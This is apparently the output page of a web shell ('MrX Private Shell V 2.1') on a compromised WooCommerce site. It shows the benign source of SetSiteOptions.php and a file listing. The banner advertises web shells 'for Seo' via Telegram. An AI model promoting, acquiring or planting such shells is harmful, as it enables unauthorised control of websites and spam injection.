__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\Blueprint\Steps;
/**
* Set site options step.
*/
class SetSiteOptions extends Step {
/**
* Site options.
*
* @var array site options
*/
private array $options;
/**
* Constructor.
*
* @param array $options site options.
*/
public function __construct( array $options = array() ) {
$this->options = $options;
}
/**
* Get the name of the step.
*
* @return string step name
*/
public static function get_step_name(): string {
return 'setSiteOptions';
}
/**
* Get the schema for the step.
*
* @param int $version schema version.
*
* @return array schema for the step
*/
public static function get_schema( int $version = 1 ): array {
return array(
'type' => 'object',
'properties' => array(
'step' => array(
'type' => 'string',
'enum' => array( static::get_step_name() ),
),
),
'required' => array( 'step' ),
);
}
/**
* Prepare the step for JSON serialization.
*
* @return array array representation of the step
*/
public function prepare_json_array(): array {
return array(
'step' => static::get_step_name(),
'options' => (object) $this->options,
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| schemas | Folder | 0775 |
|
|
| ActivatePlugin.php | File | 1.97 KB | 0664 |
|
| ActivateTheme.php | File | 1.53 KB | 0664 |
|
| InstallPlugin.php | File | 3 KB | 0664 |
|
| InstallTheme.php | File | 2.99 KB | 0664 |
|
| RunSql.php | File | 1.89 KB | 0664 |
|
| SetSiteOptions.php | File | 1.19 KB | 0664 |
|
| Step.php | File | 1.42 KB | 0664 |
|